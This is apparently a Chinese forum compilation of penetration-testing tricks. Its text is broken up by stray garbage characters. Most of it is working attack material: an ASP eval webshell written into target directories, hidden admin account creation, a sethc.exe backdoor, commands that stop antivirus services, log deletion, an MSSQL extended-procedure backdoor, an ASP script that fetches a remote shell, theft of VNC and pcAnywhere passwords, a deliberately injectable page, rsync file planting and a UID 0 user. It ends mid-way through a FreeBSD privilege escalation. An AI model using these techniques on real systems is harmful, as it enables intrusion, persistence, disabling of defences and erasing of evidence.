渗透技巧总结

admin

旁站路径问题
9 m& \+ D0 P, |* e5 P3 E1、读网站配置。
2、用以下VBS
0 G" v0 _! G) k9 q# h0 M+ lOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
8 |6 d( a7 H1 ?1 Y
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
0 J" U, ^% p+ `5 R9 a" K
Usage:Cscript vWeb.vbs",4096,"Lilo"
: ]5 u' B- X" O6 ^$ M1 o2 T9 U8 x        WScript.Quit
5 K3 \3 u( m+ X0 m$ REnd If
Set ObjService=GetObject

9 E. w5 i, H, t7 D2 [/ {/ z& @0 g("IIS://LocalHost/W3SVC")
) g0 \4 I3 n( J& c" G/ jFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

. U& ^, p( P' A$ ]0 s; O: o2 WThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
5 @, U' j+ H; ^+ n7 T6 R                If Err
3 E- D/ m& D. b, C3 B
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

+ n% o4 [% @* KOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
& S& \* ^- D: g- F+ O5 }     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
3 J1 n6 ~! r1 P
3 r8 o; q! Q' V4 M) H  @0 U         WScript.Echo "ath            : " & VDirObj.Path
# G7 T3 p) A+ p        End If
Next
复制代码
0 P6 N8 `% x) Q5 \2 X: v% d$ s3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
% o+ q; r5 O2 J6 ]% X6 I—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
3 l8 c) E: z$ n% r+ K9 X$ {- Hurl/wp-content/plugins/akismet/hello.php
6 D& [- P# k1 x——————————————————————
0 t7 K9 N% e8 g! N( |9 KphpMyAdmin暴路径办法:
2 {& W4 f) {3 |) D; |' s$ mphpMyAdmin/libraries/select_lang.lib.php
! n+ t4 N- w0 \8 ~' L+ ZphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
9 w. s7 E* V- ]& p$ ]8 n, Nphpmyadmin/themes/darkblue_orange/layout.inc.php
  \3 v, E3 V4 H7 d: Z% `8 u————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
$ k8 S7 G" g& F5 H, P; Xnetsh ras set user administrator permit #允许administrator拨入该VPN
* }: W* N% k+ t1 l$ y9 gnetsh ras set user administrator deny #禁止administrator拨入该VPN
- N5 m& I# B6 A- Qnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
' M6 D( K2 J4 [6 _% e& ynetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
" {* y4 d. S( [( m* t3 m* bnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
9 W0 f+ w+ ]* |9 n8 C! E8 m* d* y————————————————————
0 w0 Y- U) _) w( Q5 N" j命令行下添加SQL用户的方法
5 a  T, W  w2 n  g! H; _  \需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
, z9 z+ ]+ d6 V5 t; eexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
; P9 G/ [6 W  m( O. r9 l在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
  K2 ~1 b& H  s, @1 L3 Ejs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
! U3 A: Y8 Y1 }2 y) w, y$ _7 T! tz.changePassword("123456","")
9 n8 U7 B6 U, @9 a3 b  Cz.setting("AccountType")=3;

0 X% H$ ]. B0 F* kvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
& C. h3 g' s8 N2 o5 M+ @) i! X——————————————————
, ^$ \2 V* |# ?5 C* F6 [cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
& w; y2 s4 F" w8 {0 Y1 ]/ A& Q————————以下配合PR更好————
3389相关
% T2 g% h, ?; C- `: ha、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
) B" a& x+ H4 W" pb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
+ T6 b3 ^) G5 t. |2003 运行mstsc /console   
* x- f) ]8 P1 Y" }8 @
杀软关闭（把杀软所在的文件的所有权限去掉）
" ]0 T4 |9 B1 ?2 i; e. b处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
) c& s$ T9 l2 F# q/ `$ q2 enet stop "System Event Notification" /y
% E+ ]7 C: _( F- d' _+ xnet stop "Symantec Settings Manager" /y
) ~  g2 W( O2 N# b/ ?7 I
卖咖啡：net stop "McAfee McShield"
. s/ @  Y9 h" x————————————————————

: r2 M5 }0 D9 `0 h9 Q6 v  i/ {1 _5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
9 L- G) [4 f' ?. Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
' d6 t- L) E: U9 K0 }3 y  ^隐藏账号添加：
8 t4 A/ J  p6 i8 D5 a1 l3 Q- E1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
8 v7 B( P- Y# a; H$ R4 X* [3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
0 s% L/ }7 J( J  i0 F4 R. a, v——————————————————————
MSSQL扩展后门：
( S& O+ F7 A  |7 b4 gUSE master;
) t1 [" L$ \) A: P- \- TEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
, i5 D! U' X' M* {: qGRANT exec On xp_helpsystem TO public;
0 I6 u1 m# k" _: [2 C———————————————————————
. X; b0 F) F* H日志处理
/ }- I' \! Q: f# v- G' J. IC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
" ~3 Z$ a; i, J1 w0 X/ q直接删除 ex0111124.log
& t! F$ A- t; X1 i不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
' I6 ^  K9 ?, }$ L9 H
MSSQL查询分析器连接记录清除：
" _: p6 x5 n1 S# ]MSSQL 2000位于注册表如下：
: t. Y6 o; }8 q2 V& l* FHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
% m# w" p7 _2 D3 P" G找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
4 C/ e" M; N! I/ C8 o- e
% M8 X( ]: g2 A7 a" W* M3 v0 _9 \5 SServer\90\Tools\Shell\mru.dat
* r4 q/ O: L6 x' _—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

  {+ B6 V4 B  \0 G/ b1 F: m( c$ x<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
8 }( u$ I$ y3 X1 o5 Y& AOn Error Resume Next
7 ?5 z! r$ I) o. r0 r) nSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
( c* R0 M6 Y. n' c) G( }With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
5 B& Z/ C( Y; q, q8 ^7 O/ X& SSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
7 ^; {3 U' A1 f3 T2 y4 ^: m5 N.Type = 1
.Open
7 o3 E. }, k7 ]+ r8 h.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
. P; b% u# \/ E  [( ?$ b.Close()
End With
Set Ads=nothing
0 g2 @2 B% I7 ]/ ]End Sub

1 J/ X* k* [3 X: y9 OeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
5 m& k# e: b& A7 ?) r1 G%>
* C1 O2 \0 r: }: ~- O
4 O) O/ V" K7 [; BVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
, T; ~! u$ X8 \- F注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
: w! I$ ^8 d9 U9 z3 v/ N$ m# tHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
8 P! y5 p0 J0 k然后用HASH版连接。
. v5 P7 j0 {3 W1 M1 q% H4 n如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
  L! O  s0 B2 H/ Z( n, p: J保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
0 e' U" Z' f- q& P3 P搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
, R  t5 z- T9 F8 @来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
! }8 z7 s! F, a+ v" u1 i7i24的web目录也是可写，权限为administrator。
& w/ R  _8 T$ E% Q/ O
- `2 Y4 n! w* Y  }1433 SA点构建注入点。
<%
7 `" l8 L1 B' G  c1 s6 [strSQLServerName = "服务器ip"
" Q! x8 R' K2 W, OstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
0 e* P/ {3 Q9 F- a. W% A8 B5 d  z1 t, ostrSQLDBName = "数据库名称"
# I# e* F0 `# {8 K/ t) N+ U( n& ?+ CSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
, _* i" M  s* _
5 M( K: l" \! Q3 r";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
2 w! ?$ t1 L0 e  J
strSQLDBName & ";"
conn.open strCon
* W- x8 }5 N: N6 V3 [dim rs,strSQL,id
+ X) V$ T; |) b+ Gset rs=server.createobject("ADODB.recordset")
3 X: P: y% k- j2 \+ Zid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
! P4 m, y: V8 {( ], o0 L' ?2 crs.close
%>
- u' r( G3 M2 p( `( x# k  I复制代码
8 d' q# y" l. z6 y4 R******liunx 相关******
一.ldap渗透技巧
7 A9 _8 s7 V2 l% J1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

4 E2 F- ^+ C9 a2 l2.less /etc/ldap.conf
8 H% L' @3 G& ^# gbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
0 x, i5 g) P0 a# W+ G! g7 Y7 U% T
0 T& V4 d; E. P3.查找管理员信息
* \- ]0 }% D7 ?& q匿名方式
" \/ V% M, h7 S9 e; z) tldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( W5 |8 r' F1 G  ]4 u
1 q. k+ S: k- R7 ~1 p: w"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 ~# z' J) E* {- w有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

8 x5 M8 T3 r: p6 |# o"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
# x2 F1 E4 X! w- g# B0 J

4.查找10条用户记录
( n2 t* g$ p" c2 Cldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
/ T8 }) d. m8 }# t4 \$ F
实战:
1.cat /etc/nsswitch
  W! G$ K6 |$ ~, j5 C( F- R* |2 d看看密码登录策略我们可以看到使用了file ldap模式

4 M+ q0 m" T+ t0 n& C2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

9 j" g$ a/ y- _3.查找管理员信息
' h0 e! u. Y* x匿名方式
  `2 {: o! M/ O8 N& Hldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

2 E. W" d3 B6 B"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" {0 S' k2 O4 X/ p3 B0 v2 i

1 p& o% m* I3 [) R( p4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
4 v3 h: K1 l# t2 T9 I# x1.返回所有的属性
: z+ `4 C9 }4 z% ^+ L3 Aldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
3 i* Y6 _3 e. D5 e5 \version: 1
3 z  i% B0 ]3 o6 ldn: dc=ruc,dc=edu,dc=cn
dc: ruc
0 \- q: f4 D: T0 u, m9 I% y( v+ GobjectClass: domain
0 F4 R' }* C7 D  {( ~
8 R5 J( w- _0 A5 W0 R& vdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
2 S/ p+ |6 C. |4 ]objectClass: inetOrgPerson
objectClass: organizationalPerson
& x9 \$ z& O; F: x6 [; @- H: GobjectClass: person
: A8 P% h2 P) C) X* q5 aobjectClass: top
sn: manager
0 a" E! S3 ?& y6 E0 M5 F$ v" Tcn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
: M; y, s6 r8 C# suid: superadmin
+ o, Q, c& [% y8 e8 ?9 R/ tobjectClass: inetOrgPerson
" s; M* G! l: o( ?  kobjectClass: organizationalPerson
objectClass: person
* y2 @1 v6 L/ d- b% `objectClass: top
+ `2 Z, I  [2 f6 s- Hsn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
( R7 q2 \% }2 m  j4 K, w2 b1 euid: admin
3 @4 A3 M. L0 EobjectClass: inetOrgPerson
objectClass: organizationalPerson
) c: s& c0 I5 a/ I3 LobjectClass: person
objectClass: top
sn: admin
cn: admin
! A; W- x, O2 J" |3 Z
" V, P" b+ z$ r' x2 w4 f: L2 d7 sdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
* ~  o% Q% q1 u4 p$ o( RobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
3 y6 Z3 W0 `2 ]sn: dcp_anonymous
& q1 @! l' F# Q/ G: g$ I; U: G9 L7 Acn: dcp_anonymous

- E/ K. y8 d' F) ~" a1 P2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
0 D, B* M: j* N7 d& S# M1 q) E" ~  Q
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
' w, A  ~  E# B' v0 m! M/ S# b
3.查找
6 v, g0 V: u* d- o& ~. jbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
7 M/ ^  o5 M8 z) A: gsupportedExtension: 2.16.840.1.113730.3.5.7
2 C* o5 {( f$ b& o) KsupportedExtension: 2.16.840.1.113730.3.5.8
6 c! _7 \, ^$ A% N# {1 N  E0 h# ^: asupportedExtension: 1.3.6.1.4.1.4203.1.11.1
2 X& }, }& u9 O1 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
, D. t$ ~% s- n# F" `  I. ^5 P9 ssupportedExtension: 2.16.840.1.113730.3.5.5
( B% P( s' `0 K1 gsupportedExtension: 2.16.840.1.113730.3.5.6
( c* _2 f: j' MsupportedExtension: 2.16.840.1.113730.3.5.4
+ O: N2 ?+ D5 R8 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
5 Y6 U: ~! |9 P0 T7 R, o% l) asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
7 p3 B" f( v* ]8 WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
! h$ n; W& F! f/ W: YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
! S  p* w: p" W3 }: {, ~" ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
9 v0 t: z$ m% I" {/ BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
+ F8 a" x# X4 g( N5 X/ hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
( ]) E6 L3 Y1 \1 c, Q) `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
0 u& D# R. `: [8 y- X9 z& GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
$ T( Z4 K4 O- T& r% b0 Y# IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
* M# }5 Y2 Y8 J6 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
- i! J+ B) H( V6 [; M" r# p( C, ]0 r; ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
2 y7 {  O& _! f; BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
5 w& q, p" y# t, J; n  n4 ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
3 I# j; ?: J1 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
: V7 ^0 @4 q7 Z) A5 ]supportedExtension: 1.3.6.1.4.1.1466.20037
( H3 u, K5 p0 Z! S0 vsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
* u7 F  r, h9 h# E3 M7 n* ssupportedControl: 2.16.840.1.113730.3.4.4
& P+ n3 z; a) J9 q- K+ C# e+ i, zsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
; ]6 S" @6 B9 F+ m9 HsupportedControl: 2.16.840.1.113730.3.4.9
7 o' j7 R) |/ BsupportedControl: 2.16.840.1.113730.3.4.16
- g* d' I: Q% k4 GsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
% M6 T0 C6 r1 r& f; |) K" SsupportedControl: 2.16.840.1.113730.3.4.19
$ O9 {$ V. D1 P) H, M# M. ^4 QsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
8 ?0 R% q( `( \supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; N" V. K7 P' Y# V- }supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
, z  d  [) W  c& usupportedControl: 2.16.840.1.113730.3.4.14
0 M# k1 J* R' F2 HsupportedControl: 1.3.6.1.4.1.1466.29539.12
# a+ e/ {' F+ IsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
# b: w+ }5 W9 [9 m5 ?supportedSASLMechanisms: DIGEST-MD5
8 v. @' K: Q. ]supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
$ g1 C# h5 \% T2 W2 h  Q) tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, {% E9 @* d( L* q6 O! MsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
# ^. Y3 v* n8 ?0 A) M2 OsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
8 s. c! O& ?- k/ Y# `6 [5 v; KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
4 @5 X+ }/ e& H8 q# ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
9 {0 `. b! _* @; j+ ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
; T) q! S# [4 C9 R" b9 qsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
, o( a- h6 n9 ]4 x" D" C# wsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
7 |! N, W' {' w5 e; z) fsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
( E. _' {) O* ?# t6 \# VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
! c6 y% j- ~8 E, ]  u. vsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
" v& R4 J5 d/ l0 Y7 vsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
1 D( l5 h1 p- U- k# F0 |supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
' r/ \6 D4 o7 F: JsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
# X& v8 C. S& t0 _9 ~$ J. |. P/ e. QsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
; y! a* ~0 s$ n1 J* Z* ZsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
9 F+ g6 N. q& {3 F8 A4 N' jsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
6 A* v2 s- R# |9 bsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
, t2 a/ Z0 n( EsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
5 n- j; q4 {  P% V) osupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
) r$ W1 S; e7 H( L* }supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
+ k' j+ B1 Z7 [, w3 Q% U5 V* g————————————
2. NFS渗透技巧
) N! }( d; s. y$ l. s9 F( `showmount -e ip
/ K2 U1 Q/ t0 o- N5 J" f列举IP
——————
. F- V4 N, n$ V; A- ^3.rsync渗透技巧
1.查看rsync服务器上的列表
4 t, A8 w: x% O  |6 K2 E" ^' trsync 210.51.X.X::
8 D$ }1 T, H' C$ u' u& i$ V8 S* v( @finance
) u, Z# L- q5 u  e7 P. x0 H8 C1 m. ~+ Rimg_finance
* m6 Z) M, C7 K2 Y( oauto
img_auto
; G' _) ]( w* C# s+ ~html_cms
3 M$ }- k, `, L5 Z9 e1 v' ]; @img_cms
% r" \% a9 J  F- S% v: k" j- |, dent_cms
ent_img
ceshi
res_img
res_img_c2
chip
4 `' H' f9 m* ?5 W. J; Rchip_c2
ent_icms
' D: o5 Z6 z8 r( xgames
) @4 {9 G$ e- N( I) }& ugamesimg
# r. ?0 c" Q+ A  ^# e/ R6 \media
, A7 o. ^- u" C5 v) P8 _5 Gmediaimg
fashion
/ w* D% h. D/ B* y1 P7 v) ires-fashion
( b" u7 w( T) ores-fo
( ^, e3 _5 k" [# c; {taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
  w& |+ E  Y3 v3 u# j; z5 ]) sres-news
" S/ m4 n7 W+ _, V# m/ `1 Eres-phtv
& R+ J- `4 o) C5 q& A2 O) Z/ Rres-media
home
3 o. h% K; k  ]5 D- ?edu
news
res-book
3 R9 p' a' t& a8 D; f; H8 D9 T
* v! A, d1 m' n" [* ]; {看相应的下级目录(注意一定要在目录后面添加上/)

( p0 e- l: @, h$ M' P% S
* j7 ]/ N) O2 l3 b" _+ Qrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
" [" N# A" c" f+ D( ?! v' z( j
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

* t7 R; `3 j2 s1 n% F2 c3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
3 [! a, b! @' K+ ^" Z) ^% M6 O1 Nhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
7 V6 v% m4 M) ?7 WGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
3 w: c! ?5 f) {7 j五.SSH端口转发
8 j; t& M9 n, @& A0 Jssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
0 C/ q- x' z+ X3 L3 [
六.joomla渗透小技巧
确定版本
( J! v7 ?9 q5 qindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

/ r; l) k! ]$ H, A# D! G6 @1 b2 P) u15&catid=32:languages&Itemid=47
" p) r8 E* T) }/ |
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

! K+ M" L: c' G$ ]% k: T七: Linux添加UID为0的root用户
- Y6 N# @0 [5 i2 S# C/ u/ Guseradd -o -u 0 nothack
' V$ R2 \$ O3 @
1 j3 s: Q- r& z+ P1 T八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
1 C7 |2 w' y# S0 z0 o* [argp@julius ~]$ sysctl vfs.usermount
( W4 ]) V3 g7 ~* D' z5 r# f* L" u0 B* vfs.usermount: 1
4 U6 C! r$ r- v$ y* [argp@julius ~]$ id
